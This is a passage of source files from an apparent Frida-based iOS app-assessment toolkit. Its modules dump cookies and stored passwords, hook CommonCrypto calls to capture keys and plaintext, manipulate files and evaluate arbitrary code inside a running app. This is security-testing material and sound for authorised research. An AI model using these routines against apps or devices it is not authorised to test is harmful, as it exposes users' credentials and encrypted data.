    "content": "import macho from \"macho-ts\";\n\nimport * as iosfilesystem from \"./filesystem.js\";\nimport { IBinaryModuleDictionary } from \"./lib/interfaces.js\";\n\n\nconst isEncrypted = (cmds: any[]): boolean => {\n  for (const cmd of cmds) {\n    // https://opensource.apple.com/source/cctools/cctools-921/include/mach-o/loader.h.auto.html\n    // struct encryption_info_command {\n    //    [ ... ]\n    //   uint32_t\tcryptid;\t/* which enryption system, 0 means not-encrypted yet */\n    // };\n    if (cmd.type === \"encryption_info\" || cmd.type === \"encryption_info_64\") {\n      if (cmd.id !== 0) {\n        return true;\n      }\n    }\n  }\n  return false;\n};\n\nexport const info = (): IBinaryModuleDictionary => {\n  const modules = Process.enumerateModules();\n  const parsedModules: IBinaryModuleDictionary = {};\n\n  modules.forEach((a) => {\n    if (!a.path.includes(\".app\")) {\n      return;\n    }\n\n    const imports: Set<string> = new Set(a.enumerateImports().map((i) => i.name));\n    const fb = iosfilesystem.readFile(a.path);\n    if (typeof(fb) == 'string') {\n      return;\n    }\n\n    try {\n      const exe = macho.parse(fb);\n\n      parsedModules[a.name] = {\n        arc: imports.has(\"objc_release\"),\n        canary: imports.has(\"__stack_chk_fail\"),\n        encrypted: isEncrypted(exe.cmds),\n        pie: exe.flags.pie ? true : false,\n        rootSafe: exe.flags.root_safe ? true : false,\n        stackExec: exe.flags.allow_stack_execution ? true : false,\n        type: exe.filetype,\n      };\n\n    } catch (e) {\n      // ignore any errors. especially ones where\n      // the target path is not a mach-o\n    }\n  });\n\n  return parsedModules;\n};\n"
  },
  {
    "path": "agent/src/ios/binarycookies.ts",
    "content": "import { ObjC } from \"../ios/lib/libobjc.js\";\nimport { IIosCookie } from \"./lib/interfaces.js\";\nimport {\n  NSArray,\n  NSData,\n  NSHTTPCookieStorage\n} from \"./lib/types.js\";\n\n\nexport const get = (): IIosCookie[] => {\n\n  // -- Sample Objective-C\n  //\n  // NSHTTPCookieStorage *cs = [NSHTTPCookieStorage sharedHTTPCookieStorage];\n  // NSArray *cookies = [cs cookies];\n  const cookies: IIosCookie[] = [];\n\n  const HTTPCookieStorage = ObjC.classes.NSHTTPCookieStorage;\n  const cookieStore: NSHTTPCookieStorage = HTTPCookieStorage.sharedHTTPCookieStorage();\n  const cookieJar: NSArray = cookieStore.cookies();\n\n  if (cookieJar.count() <= 0) {\n    return cookies;\n  }\n\n  for (let i = 0; i < cookieJar.count(); i++) {\n\n    // get the actual cookie from the jar\n    const cookie: NSData = cookieJar.objectAtIndex_(i);\n\n    // <NSHTTPCookie version:0 name:\"__cfduid\" value:\"d2546c60b09a710a151d974e662f40c081498064665\"\n    // expiresDate:2018-06-21 17:04:25 +0000 created:2017-06-21 17:04:26 +0000 sessionOnly:FALSE\n    // domain:\".swapi.co\" partition:\"none\" path:\"/\" isSecure:FALSE>\n    const cookieData: IIosCookie = {\n      domain: cookie.domain().toString(),\n      expiresDate: cookie.expiresDate() ? cookie.expiresDate().toString() : \"null\",\n      isHTTPOnly: cookie.isHTTPOnly().toString(),\n      isSecure: cookie.isSecure().toString(),\n      name: cookie.name().toString(),\n      path: cookie.path().toString(),\n      value: cookie.value().toString(),\n      version: cookie.version().toString(),\n    };\n\n    cookies.push(cookieData);\n  }\n\n  return cookies;\n};\n"
  },
  {
    "path": "agent/src/ios/bundles.ts",
    "content": "import { ObjC } from \"../ios/lib/libobjc.js\";\nimport { BundleType } from \"./lib/constants.js\";\nimport { IFramework } from \"./lib/interfaces.js\";\nimport {\n  NSArray,\n  NSBundle,\n  NSDictionary\n} from \"./lib/types.js\";\n\n\n// https://developer.apple.com/documentation/foundation/nsbundle/1408056-allframeworks?language=objc\n// https://developer.apple.com/documentation/foundation/nsbundle/1413705-allbundles?language=objc\nexport const getBundles = (type: BundleType): IFramework[] => {\n\n  // -- Sample ObjC\n  //\n  // for (id ob in [NSBundle allBundles]) {\n  //   NSDictionary *i = [ob infoDictionary];\n  //   NSString *p = [ob bundlePath];\n  //   NSLog(@\"%@:%@ @ %@\", [i objectForKey:@\"CFBundleIdentifier\"],\n  //         [i objectForKey:@\"CFBundleShortVersionString\"], p);\n  // }\n\n  // Figure out which bundle type to enumerate\n  let frameworks: NSArray;\n  if (type === BundleType.NSBundleFramework) {\n    frameworks = ObjC.classes.NSBundle.allFrameworks();\n  } else if (type === BundleType.NSBundleAllBundles) {\n    frameworks = ObjC.classes.NSBundle.allBundles();\n  }\n\n  const appBundles: IFramework[] = [];\n  const frameworksLength: number = frameworks.count().valueOf();\n\n  for (let i = 0; i !== frameworksLength; i++) {\n\n    // get information about the bundle itself\n    const bundle: NSBundle = frameworks.objectAtIndex_(i);\n    const bundleInfo: NSDictionary = bundle.infoDictionary();\n\n    // get values for the keys we are interested in\n    const bundlePath: string = bundle.bundlePath();\n    const CFBundleIdentifier: string = bundleInfo.objectForKey_(\"CFBundleIdentifier\");\n    const CFBundleShortVersionString: string = bundleInfo.objectForKey_(\"CFBundleShortVersionString\");\n    const CFBundleExecutable: string = bundleInfo.objectForKey_(\"CFBundleExecutable\");\n\n    appBundles.push({\n      bundle: CFBundleIdentifier ? CFBundleIdentifier.toString() : null,\n      executable: CFBundleExecutable ? CFBundleExecutable.toString() : null,\n      path: bundlePath.toString(),\n      version: CFBundleShortVersionString ? CFBundleShortVersionString.toString() : null,\n    });\n  }\n\n  return appBundles;\n};\n"
  },
  {
    "path": "agent/src/ios/credentialstorage.ts",
    "content": "import { ObjC } from \"../ios/lib/libobjc.js\";\nimport { ICredential } from \"./lib/interfaces.js\";\nimport {\n  NSArray,\n  NSData,\n  NSURLCredentialStorage\n} from \"./lib/types.js\";\n\n\nexport const dump = (): ICredential[] => {\n\n  // -- Sample ObjC to create and dump a credential\n  // NSURLProtectionSpace *ps = [[NSURLProtectionSpace alloc]\n  //  initWithHost:@\"foo.com\" port:80 protocol:@\"https\" realm:NULL\n  //  authenticationMethod:NSURLAuthenticationMethodHTTPBasic];\n  // NSURLCredential *creds = [[NSURLCredential alloc]\n  //  initWithUser:@\"user\" password:@\"password\" persistence:NSURLCredentialPersistencePermanent];\n  // NSURLCredentialStorage *cs = [NSURLCredentialStorage sharedCredentialStorage];\n\n  // [cs setCredential:creds forProtectionSpace:ps];\n\n  // NSDictionary *allcreds = [cs allCredentials];\n  // NSLog(@\"%@\", allcreds);\n\n  const credentialStorage: NSURLCredentialStorage = ObjC.classes.NSURLCredentialStorage;\n  const data: ICredential[] = [];\n  const credentialsDict: NSArray = credentialStorage.sharedCredentialStorage().allCredentials();\n\n  if (credentialsDict.count() <= 0) {\n    return data;\n  }\n\n  const protectionSpaceEnumerator = credentialsDict.keyEnumerator();\n  let urlProtectionSpace;\n\n  // tslint:disable-next-line:no-conditional-assignment\n  while ((urlProtectionSpace = protectionSpaceEnumerator.nextObject()) !== null) {\n\n    const userNameEnumerator = credentialsDict.objectForKey_(urlProtectionSpace).keyEnumerator();\n    let userName;\n\n    // tslint:disable-next-line:no-conditional-assignment\n    while ((userName = userNameEnumerator.nextObject()) !== null) {\n\n      const creds: NSData = credentialsDict.objectForKey_(urlProtectionSpace).objectForKey_(userName);\n\n      // Add the creds for this protection space.\n      const credentialData: ICredential = {\n        authMethod: urlProtectionSpace.authenticationMethod().toString(),\n        host: urlProtectionSpace.host().toString(),\n        password: creds.password().toString(),\n        port: urlProtectionSpace.port(),\n        protocol: urlProtectionSpace.protocol().toString(),\n        user: creds.user().toString(),\n      };\n\n      data.push(credentialData);\n    }\n  }\n\n  return data;\n};\n"
  },
  {
    "path": "agent/src/ios/crypto.ts",
    "content": "import { colors as c } from \"../lib/color.js\";\nimport { fsend } from \"../lib/helpers.js\";\nimport * as jobs from \"../lib/jobs.js\";\nimport {\n  arrayBufferToHex,\n  hexToString\n} from \"./lib/helpers.js\";\n\ntype CCAlgorithm = {\n  [key: number]: { name: string; blocksize: number };\n};\n\ntype AlgorithmType = {\n  [key: number]: string;\n};\n\n// Encryption algorithms implemented by this module.\nconst CCAlgorithm: CCAlgorithm = {\n  0: { name: \"kCCAlgorithmAES128\", blocksize: 16 },\n  1: { name: \"kCCAlgorithmDES\", blocksize: 8 },\n  2: { name: \"kCCAlgorithm3DES\", blocksize: 8 },\n  3: { name: \"kCCAlgorithmCAST\", blocksize: 8 },\n  4: { name: \"kCCAlgorithmRC4\", blocksize: 8 },\n  5: { name: \"kCCAlgorithmRC2\", blocksize: 8 }\n};\n\n// Encryption algorithms implemented by this module.\nconst CCOperation: AlgorithmType = {\n  0: \"kCCEncrypt\",\n  1: \"kCCDecrypt\"\n};\n\n// Options flags, passed to CCCryptorCreate().\nconst CCOption: AlgorithmType = {\n  1: \"kCCOptionPKCS7Padding\",\n  2: \"kCCOptionECBMode\"\n};\n\n// alg for pbkdf. Right now only pbkdf2 is supported by CommonCrypto\nconst CCPBKDFAlgorithm: AlgorithmType = {\n  2: \"kCCPBKDF2\"\n};\n\n// alg for prt for pbkdf\nconst CCPseudoRandomAlgorithm: AlgorithmType = {\n  1: \"kCCPRFHmacAlgSHA1\",\n  2: \"kCCPRFHmacAlgSHA224\",\n  3: \"kCCPRFHmacAlgSHA256\",\n  4: \"kCCPRFHmacAlgSHA384\",\n  5: \"kCCPRFHmacAlgSHA512\"\n};\n\n\n// ident for crypto hooks job\nlet cryptoidentifier: number = 0;\n\n// operation being performed 0=encrypt 1=decrypt\nlet op = 0;\n\n// needed to keep track of CCAlgorithm so we can know\n// blocksize from CCCryptorCreate to CCCryptorUpdate\nlet alg = 0;\n\n// keep track of all the output bytes.\n// this is necessary because CCCryptorUpdate needs to be\n// append the final block from CCCryptorFinal\nlet dataOutBytes: string = \"\";\n\n// Compatibility with frida < 16.7\nif (!Module.getGlobalExportByName) {\n  Module.getGlobalExportByName = function(name) {\n    return Module['getExportByName'](null, name);\n  }\n}\n\nconst secrandomcopybytes = (ident: number): InvocationListener => {\n  const hook = \"SecRandomCopyBytes\";\n  return Interceptor.attach(\n    Module.getGlobalExportByName(hook), {\n    onEnter(args) {\n\n      this.secrandomcopybytes = {};\n\n      this.secrandomcopybytes.rnd = args[0].toInt32();\n      this.secrandomcopybytes.count = args[1].toInt32();\n      this.bytes = args[2];\n    },\n    onLeave(retval) {\n      this.secrandomcopybytes.bytes = arrayBufferToHex(this.bytes.readByteArray(this.secrandomcopybytes.count));\n\n      fsend(ident, hook, this.secrandomcopybytes);\n    }\n  });\n};\n\nconst cckeyderivationpbkdf = (ident: number): InvocationListener => {\n  const hook = \"CCKeyDerivationPBKDF\";\n  return Interceptor.attach(\n    Module.getGlobalExportByName(hook), {\n    onEnter(args) {\n\n      this.cckeyderivationpbkdf = {};\n\n      // args[0]  \"kCCPBKDF2\" is the only alg supported by CommonCrypto\n      this.cckeyderivationpbkdf.algorithm = CCPBKDFAlgorithm[args[0].toInt32()];\n\n      // args[1]  The text password used as input to the derivation\n      //          function. The actual octets present in this string\n      //          will be used with no additional processing.  It's\n      //          extremely important that the same encoding and\n      //          normalization be used each time this routine is\n      //          called if the same key is  expected to be derived.\n      // args[2]  The length of the text password in bytes.\n      const passwordPtr = args[1];\n      const passwordLen = args[2].toInt32();\n      const passwordBytes = arrayBufferToHex(passwordPtr.readByteArray(passwordLen));\n      try {\n        this.cckeyderivationpbkdf.password = hexToString(passwordBytes);\n      } catch {\n        this.cckeyderivationpbkdf.password = passwordBytes;\n      }\n\n      // args[3]  The salt byte values used as input to the derivation function.\n      // args[4]  The length of the salt in bytes.\n      const saltPtr = args[3];\n      const saltLen = args[4].toInt32();\n      this.cckeyderivationpbkdf.saltBytes = arrayBufferToHex(saltPtr.readByteArray(saltLen));\n\n      // args[5]  The Pseudo Random Algorithm to use for the derivation iterations.\n      this.cckeyderivationpbkdf.prf = CCPseudoRandomAlgorithm[args[5].toInt32()];\n\n      // args[6]  The number of rounds of the Pseudo Random Algorithm to use.\n      this.cckeyderivationpbkdf.rounds = args[6].toInt32();\n\n      // args[7]  The resulting derived key produced by the function.\n      //          The space for this must be provided by the caller.\n      this.derivedKeyPtr = args[7];\n\n      // args[8]  The expected length of the derived key in bytes.\n      this.derivedKeyLen = args[8].toInt32();\n    },\n    onLeave(retval) {\n      this.cckeyderivationpbkdf.derivedKey = arrayBufferToHex(this.derivedKeyPtr.readByteArray(this.derivedKeyLen));\n\n      fsend(ident, hook, this.cckeyderivationpbkdf);\n    }\n  });\n};\n\nconst cccrypt = (ident: number): InvocationListener => {\n  const hook = \"CCCrypt\";\n  return Interceptor.attach(\n    Module.getGlobalExportByName(hook), {\n    onEnter(args) {\n\n      this.cccrpyt = {};\n\n      // args[0]  Defines the basic operation: kCCEncrypt or kCCDecrypt.\n      this.op = args[0].toInt32();\n      this.cccrpyt.op = CCOperation[this.op];\n\n      // args[1]  Defines the encryption algorithm.\n      this.alg = args[1].toInt32();\n      this.cccrpyt.alg = CCAlgorithm[alg].name;\n\n      // args[2]  A word of flags defining options. See discussion for the CCOptions type.\n      this.cccrpyt.options = CCOption[args[2].toInt32()];\n\n      // args[3]  Raw key material, length keyLength bytes.\n      // args[4]  Length of key material. Must be appropriate\n      // \t\t\t\t  for the select algorithm. Some algorithms may\n      //  \t\t\t\tprovide for varying key lengths.\n      const key = args[3];\n      this.cccrpyt.keyLength = args[4].toInt32();\n      this.cccrpyt.key = arrayBufferToHex(key.readByteArray(this.cccrpyt.keyLength));\n\n      // args[5]  Initialization vector, optional. Used for\n      // \t\t\t\t  Cipher Block Chaining (CBC) mode. If present,\n      // \t\t\t\t  must be the same length as the selected\n      // \t\t\t\t  algorithm's block size. If CBC mode is\n      // \t\t\t\t  selected (by the absence of any mode bits in\n      // \t\t\t\t  the options\tflags) and no IV is present, a\n      // \t\t\t\t  NULL (all zeroes) IV will be used. This is\n      // \t\t\t\t  ignored if ECB mode is used or if a stream\n      // \t\t  \t\tcipher algorithm is selected.\n      const iv = args[5];\n      this.cccrpyt.iv = arrayBufferToHex(iv.readByteArray(CCAlgorithm[alg].blocksize));\n\n      // args[6]  Data to encrypt or decrypt, length dataInLength bytes.\n      // args[7]  Length of data to encrypt or decrypt.\n      const dataInPtr = args[6];\n      const dataInLength = args[7].toInt32();\n      const dataInHex = arrayBufferToHex(dataInPtr.readByteArray(dataInLength));\n      this.cccrpyt.dataIn = this.op ? dataInHex : hexToString(dataInHex);\n\n      // args[8]  Result is written here. Allocated by caller.\n      //          Encryption and decryption can be performed\n      //          \"in-place\", with the same buffer used for\n      //          input and output.\n      this.dataOut = args[8];\n\n      // args[9]  The size of the dataOut buffer in bytes.\n      this.dataOutAvailable = args[9].toInt32();\n\n      // args[10] On successful return, the number of bytes written\n      //          to dataOut. If kCCBufferTooSmall is returned as\n      //          a result of insufficient buffer space being\n      //          provided, the required buffer space is returned\n      //          here.\n      this.dataOutMoved = args[10];\n    },\n    onLeave(retval) {\n      const dataOutHex = arrayBufferToHex(this.dataOut.readByteArray(this.dataOutAvailable));\n      this.cccrpyt.dataOut = this.op ? hexToString(dataOutHex) : dataOutHex;\n\n      fsend(ident, hook, this.cccrpyt);\n    }\n  });\n};\n\nconst cccryptorcreate = (ident: number): InvocationListener => {\n  const hook = \"CCCryptorCreate\";\n  return Interceptor.attach(\n    Module.getGlobalExportByName(hook), {\n    onEnter(args) {\n\n      this.cccryptorcreate = {};\n\n      // args[0]  Defines the basic operation: kCCEncrypt or kCCDecrypt.\n      op = args[0].toInt32();\n      this.cccryptorcreate.op = CCOperation[op];\n\n      // args[1]  Defines the encryption algorithm.\n      alg = args[1].toInt32();\n      this.cccryptorcreate.alg = CCAlgorithm[alg].name;\n\n      // args[2]  A word of flags defining options. See discussion for the CCOptions type.\n      const option = args[2].toInt32();\n      this.cccryptorcreate.options = CCOption[option];\n\n      // args[3]  Raw key material, length keyLength bytes.\n      // args[4]  Length of key material. Must be appropriate\n      // \t\t\t\t  for the select algorithm. Some algorithms may\n      //  \t\t\t\tprovide for varying key lengths.\n      const keyPtr = args[3];\n      this.cccryptorcreate.keyLength = args[4].toInt32();\n      this.cccryptorcreate.key = arrayBufferToHex(keyPtr.readByteArray(this.cccryptorcreate.keyLength));\n\n      // args[5]  Initialization vector, optional. Used for\n      // \t\t\t\t  Cipher Block Chaining (CBC) mode. If present,\n      // \t\t\t\t  must be the same length as the selected\n      // \t\t\t\t  algorithm's block size. If CBC mode is\n      // \t\t\t\t  selected (by the absence of any mode bits in\n      // \t\t\t\t  the options\tflags) and no IV is present, a\n      // \t\t\t\t  NULL (all zeroes) IV will be used. This is\n      // \t\t\t\t  ignored if ECB mode is used or if a stream\n      // \t\t  \t\tcipher algorithm is selected.\n      const ivPtr = args[5];\n      this.cccryptorcreate.iv = arrayBufferToHex(ivPtr.readByteArray(CCAlgorithm[alg].blocksize));\n    },\n    onLeave(retval) {\n      fsend(ident, hook, this.cccryptorcreate);\n    }\n  });\n};\n\nconst cccryptorupdate = (ident: number): InvocationListener => {\n  const hook = \"CCCryptorUpdate\";\n  return Interceptor.attach(\n    Module.getGlobalExportByName(hook), {\n    onEnter(args) {\n      this.cccryptorupdate = {};\n\n      // reset for the next operation.\n      dataOutBytes = \"\";\n\n      // args[1]  Data to process, length dataInLength bytes.\n      const dataInPtr = args[1];\n\n      // args[2]  Length of data to process.\n      this.dataInLength = args[2].toInt32();\n      // args[3]  Result is written here. Allocated by caller.\n      // \t  \t\t  Encryption and decryption can be performed\n      // \t\t\t\t  \"in-place\", with the same buffer used for\n      // \t\t\t\t  input and output.\n      this.dataOutPtr = args[3];\n\n      // args[4]  The size of the dataOut buffer in bytes.\n      this.dataOutAvailable = args[4].toInt32();\n\n      const dataIn = arrayBufferToHex(dataInPtr.readByteArray(this.dataInLength));\n      this.cccryptorupdate.dataIn = op ? dataIn : hexToString(dataIn);\n    },\n    onLeave(retval) {\n      const blocksize = CCAlgorithm[alg].blocksize;\n      // if the message is longer than 1 block then we need to\n      // remember everything before the final block\n      if (this.dataInLength > blocksize) {\n        // TODO: There is sometimes padding added to the end of this message\n        // someone please fix this in a pull request. it is super hacky.\n        dataOutBytes = arrayBufferToHex(this.dataOutPtr.readByteArray(this.dataOutAvailable)).split(\"000000\")[0];\n        this.cccryptorupdate.dataOut = dataOutBytes;\n      }\n\n      fsend(ident, hook, this.cccryptorupdate);\n    }\n  });\n};\n\nconst cccryptorfinal = (ident: number): InvocationListener => {\n  const hook = \"CCCryptorFinal\";\n  return Interceptor.attach(\n    Module.getGlobalExportByName(hook), {\n    onEnter(args) {\n\n      this.cccryptorfinal = {};\n\n      // args[1]  Result is written here. Allocated by caller.\n      // \t  \t\t  Encryption and decryption can be performed\n      // \t\t\t\t  \"in-place\", with the same buffer used for\n      // \t\t\t\t  input and output.\n      this.dataOutPtr = args[1];\n\n      // args[2]  The size of the dataOut buffer in bytes.\n      this.dataOutAvailable = args[2].toInt32();\n    },\n    onLeave(retval) {\n      // var dataOutHex = arrayBufferToHex(this.dataOutPtr.readByteArray(this.dataOutAvailable))\n      // this.cccryptorfinal.dataOut = op ? hexToString(dataOutHex) : dataOutHex\n\n      // append the final block the any previous blocks that might exist\n      dataOutBytes += arrayBufferToHex(this.dataOutPtr.readByteArray(this.dataOutAvailable));\n      this.cccryptorfinal.dataOut = this.op ? hexToString(dataOutBytes) : dataOutBytes;\n\n      // this.cccryptorfinal.dataOut = dataOutBytes\n\n      fsend(ident, hook, this.cccryptorfinal);\n    }\n  });\n};\n\nexport const monitor = (): void => {\n  // if we already have a job registered then return\n  if (jobs.hasIdent(cryptoidentifier)) {\n    send(`${c.greenBright(\"Job already registered\")}: ${c.blueBright(cryptoidentifier.toString())}`);\n    return;\n  }\n\n  const job: jobs.Job = new jobs.Job(jobs.identifier(), \"ios-crypto-monitor\");\n\n  cryptoidentifier = job.identifier;\n  \n  job.addInvocation(secrandomcopybytes(job.identifier));\n  job.addInvocation(cckeyderivationpbkdf(job.identifier));\n  job.addInvocation(cccrypt(job.identifier));\n  job.addInvocation(cccryptorcreate(job.identifier));\n  job.addInvocation(cccryptorupdate(job.identifier));\n  job.addInvocation(cccryptorfinal(job.identifier));\n\n  jobs.add(job);\n};\n"
  },
  {
    "path": "agent/src/ios/filesystem.ts",
    "content": "import { ObjC } from \"../ios/lib/libobjc.js\";\nimport * as fs from \"frida-fs\";\nimport { Buffer } from \"buffer\";\nimport { hexStringToBytes } from \"../lib/helpers.js\";\nimport { getNSFileManager } from \"./lib/helpers.js\";\nimport {\n  IIosFilePath,\n  IIosFileSystem\n} from \"./lib/interfaces.js\";\nimport {\n  NSDictionary,\n  NSFileManager,\n  NSString as NSStringType\n} from \"./lib/types.js\";\n\n\n// a resolved nsfilemanager instance\nlet fileManager: NSFileManager;\n\nconst getFileManager = (): NSFileManager => {\n  if (fileManager === undefined) {\n    fileManager = getNSFileManager();\n    return fileManager;\n  }\n\n  return fileManager;\n};\n\nexport const exists = (path: string): boolean => {\n  // -- Sample Objective-C\n  //\n  // NSFileManager *fm = [NSFileManager defaultManager];\n  // if ([fm fileExistsAtPath:@\"/\"]) {\n  //     NSLog(@\"Yep!\");\n  // }\n\n  const fm: NSFileManager = getFileManager();\n  const p: NSStringType = ObjC.classes.NSString.stringWithString_(path);\n\n  return fm.fileExistsAtPath_(p);\n};\n\nexport const readable = (path: string): boolean => {\n  // -- Sample Objective-C\n  //\n  // NSFileManager *fm = [NSFileManager defaultManager];\n  // NSLog(@\"%d / readable?\", [fm isReadableFileAtPath:@\"/\"]);\n\n  const fm: NSFileManager = getFileManager();\n  const p: NSStringType = ObjC.classes.NSString.stringWithString_(path);\n\n  return fm.isReadableFileAtPath_(p);\n};\n\nexport const writable = (path: string): boolean => {\n  // -- Sample Objective-C\n  //\n  // NSFileManager *fm = [NSFileManager defaultManager];\n  // NSLog(@\"%d / readable?\", [fm isReadableFileAtPath:@\"/\"]);\n\n  const fm: NSFileManager = getFileManager();\n  const p: NSStringType = ObjC.classes.NSString.stringWithString_(path);\n\n  return fm.isWritableFileAtPath_(p);\n};\n\nexport const pathIsFile = (path: string): boolean => {\n  const fm: NSFileManager = getFileManager();\n\n  const isDir: NativePointer = Memory.alloc(Process.pointerSize);\n  fm.fileExistsAtPath_isDirectory_(path, isDir);\n\n  // deref the isDir pointer to get the bool\n  // *isDir === 1 means the path is a directory\n  return isDir.readInt() === 0;\n};\n\n// returns a 'pwd' that assumes the current bundle's path\n// is the directory we are interested in. the handling of\n// pwd is actually handled in the python world and this\n// method is only really called as a starting point.\nexport const pwd = (): string => {\n  // -- Sample Objective-C\n  //\n  // NSURL *bundleURL = [[NSBundle mainBundle] bundleURL];\n\n  const NSBundle = ObjC.classes.NSBundle;\n  return NSBundle.mainBundle().bundlePath().toString();\n};\n\n// heavy lifting is done in frida-fs here.\nexport const readFile = (path: string): string | Buffer => {\n  if (fs.statSync(path).size == 0)\n    return Buffer.alloc(0);\n  return fs.readFileSync(path);\n};\n\n// heavy lifting is done in frida-fs here.\nexport const writeFile = (path: string, data: string): void => {\n  const writeStream: any = fs.createWriteStream(path);\n\n  writeStream.on(\"error\", (error: Error) => {\n    throw error;\n  });\n\n  writeStream.write(hexStringToBytes(data));\n  writeStream.end();\n};\n\nexport const deleteFile = (path: string): boolean => {\n  const fm: NSFileManager = getFileManager();\n\n  const err: NativePointer = Memory.alloc(Process.pointerSize);\n  fm.removeItemAtPath_error_(path, err);\n\n  // deref the isDir pointer to get the bool\n  // *isDir === 1 means the path is a directory\n  return err.readInt() === 0;\n};\n\nexport const ls = (path: string): IIosFileSystem => {\n  // -- Sample Objective-C\n  //\n  // NSFileManager *fm = [NSFileManager defaultManager];\n  // NSString *bundleURL = [[NSBundle mainBundle] bundlePath];\n  // NSArray *contents = [fm contentsOfDirectoryAtPath:bundleURL error:nil];\n\n  // for (id item in contents) {\n  //     NSString *p = [[NSString alloc] initWithFormat:@\"%@/%@\",bundleURL, item];\n  //     NSDictionary *attribs = [fm attributesOfItemAtPath:p error:nil];\n  //     NSLog(@\"%@ - %@\", p, attribs);\n  // }\n\n  const fm: NSFileManager = getFileManager();\n  const p: NSStringType = ObjC.classes.NSString.stringWithString_(path);\n\n  const response: IIosFileSystem = {\n    files: {},\n    path: `${path}`,\n    readable: fm.isReadableFileAtPath_(p),\n    writable: fm.isWritableFileAtPath_(p),\n  };\n\n  // not being able to read the path should leave us bailing early\n  if (!response.readable) { return response; }\n\n  const pathContents: NSDictionary = fm.contentsOfDirectoryAtPath_error_(path, NULL);\n  const fileCount: number = pathContents.count();\n\n  // loop-de-loop files\n  for (let i = 0; i < fileCount; i++) {\n\n    // pick a file off contents\n    const file: string = pathContents.objectAtIndex_(i);\n\n    const pathFileData: IIosFilePath = {\n      attributes: {},\n      fileName: file.toString(),\n      readable: undefined,\n      writable: undefined,\n    };\n\n    // generate a full path to the file\n    const filePath: string = [path, \"/\", file].join(\"\");\n    const currentFilePath: NSStringType = ObjC.classes.NSString.stringWithString_(filePath);\n\n    // check read / write\n    pathFileData.readable = fm.isReadableFileAtPath_(currentFilePath);\n    pathFileData.writable = fm.isWritableFileAtPath_(currentFilePath);\n\n    // get attributes\n    const attributes = fm.attributesOfItemAtPath_error_(currentFilePath, NULL);\n\n    // if we were able to get attributes for the item,\n    // append them to those for this file. (example is listing\n    // files in / have some that cant have attributes read for :|)\n    if (attributes) {\n\n      // loop the attributes and set them in the file_data\n      // dictionary\n      const enumerator = attributes.keyEnumerator();\n      let key;\n      // tslint:disable-next-line:no-conditional-assignment\n      while ((key = enumerator.nextObject()) !== null) {\n\n        // get attribute data\n        const value: any = attributes.objectForKey_(key);\n        // add it to the attributes for this item\n        pathFileData.attributes[key] = value.toString();\n      }\n    }\n\n    // finally, add the file to the final response\n    response.files[file] = pathFileData;\n  }\n\n  return response;\n};\n"
  },
  {
    "path": "agent/src/ios/heap.ts",
    "content": "import { ObjC } from \"../ios/lib/libobjc.js\";\nimport type { default as ObjCTypes } from \"frida-objc-bridge\";\nimport { colors as c } from \"../lib/color.js\";\nimport { bytesToUTF8 } from \"./lib/helpers.js\";\nimport { IHeapObject } from \"./lib/interfaces.js\";\n\n\nconst enumerateInstances = (clazz: string): ObjCTypes.Object[] => {\n  if (!ObjC.classes.hasOwnProperty(clazz)) {\n    c.log(`Unknown Objective-C class: ${c.redBright(clazz)}`);\n    return [];\n  }\n\n  const specifier: ObjCTypes.DetailedChooseSpecifier = {\n    class: ObjC.classes[clazz],\n    subclasses: true,  // don't skip subclasses\n  };\n\n  return ObjC.chooseSync(specifier);\n};\n\nexport const getInstances = (clazz: string): IHeapObject[] => {\n  c.log(`${c.blackBright(`Enumerating live instances of`)} ${c.greenBright(clazz)}...`);\n  \n  const instances: IHeapObject[] = [];\n\n  enumerateInstances(clazz).map((instance) => {\n    try {\n      instances.push({\n        className: instance.$className,\n        handle: instance.handle.toString(),\n        ivars: instance.$ivars,\n        kind: instance.$kind,\n        methods: instance.$ownMethods,\n        superClass: instance.$superClass.$className,\n      });\n    } catch (err) {\n      c.log(`Warning: ${c.yellowBright((err as Error).message)}`);\n    }\n  });\n\n  return instances;\n};\n\nconst resolvePointer = (pointer: string): ObjCTypes.Object => {\n  const o = new ObjC.Object(new NativePointer(pointer));\n  c.log(`${c.blackBright(`Pointer ` + pointer + ` is to class `)}${c.greenBright(o.$className)}`);\n\n  return o;\n};\n\nexport const getIvars = (pointer: string, toUTF8: boolean): [string, any[string]] => {\n  const { $className, $ivars } = resolvePointer(pointer);\n\n  // if we need to get utf8 representations, start a new object with\n  // which cloned properties will have utf8 values. we _could_ have\n  // just gone and replaces values in $ivars, but there are some\n  // access errors for that.\n  if (toUTF8) {\n    const $clonedIvars: {[name: string]: any} = {};\n    c.log(c.blackBright(`Converting ivar values to UTF8 strings...`));\n    for (const k in $ivars) {\n      if ($ivars.hasOwnProperty(k)) {\n        const v = $ivars[k];\n        $clonedIvars[k] = bytesToUTF8(v);\n      }\n    }\n\n    return [$className, $clonedIvars];\n  }\n\n  return [$className, $ivars];\n};\n\nexport const getMethods = (pointer: string): [string, any[string]] => {\n  const { $className, $ownMethods } = resolvePointer(pointer);\n  return [$className, $ownMethods];\n};\n\nexport const callInstanceMethod = (pointer: string, method: string, returnString: boolean): void => {\n  const i = resolvePointer(pointer);\n  c.log(`${c.blackBright(`Executing:`)} ${c.greenBright(`[${i.$className} ${method}]`)}`);\n\n  const result = i[method]();\n\n  if (returnString) {\n    return result.toString();\n  }\n  return i[method]();\n};\n\nexport const evaluate = (pointer: string, js: string): void => {\n  const ptr = resolvePointer(pointer);\n  // tslint:disable-next-line:no-eval\n  eval(js);\n};\n"
  },
  {
    "path": "agent/src/ios/hooking.ts",
    "content": "import { ObjC } from \"../ios/lib/libobjc.js\";\nimport { colors as c } from \"../lib/color.js\";\nimport * as jobs from \"../lib/jobs.js\";\n\n\nexport const getClasses = () => {\n  return ObjC.classes;\n};\n\nexport const getClassMethods = (className: string, includeParents: boolean): string[] => {\n  if (ObjC.classes[className] === undefined) {\n    return [];\n  }\n\n  // Show all methods of the class\n  if (includeParents) {\n    return ObjC.classes[className].$methods;\n  }\n\n  return ObjC.classes[className].$ownMethods;\n};\n\nconst objcEnumerate = (pattern: string): ApiResolverMatch[] => {\n  return new ApiResolver('objc').enumerateMatches(pattern);\n};\n\nexport const search = (patternOrClass: string): ApiResolverMatch[] => {\n\n  // if we didnt get a pattern, make one assuming its meant to be a class\n  if (!patternOrClass.includes('[')) patternOrClass = `*[*${patternOrClass}* *]`;\n\n  return objcEnumerate(patternOrClass);\n};\n\nexport const watch = (patternOrClass: string, dargs: boolean = false, dbt: boolean = false,\n  dret: boolean = false, watchParents: boolean = false): void => {\n\n  // Add the job\n  // We init a new job here as the child watch* calls will be grouped in a single job.\n  // mostly commandline fluff\n  const job: jobs.Job = new jobs.Job(jobs.identifier(), `ios-watch for: ${patternOrClass}`);\n  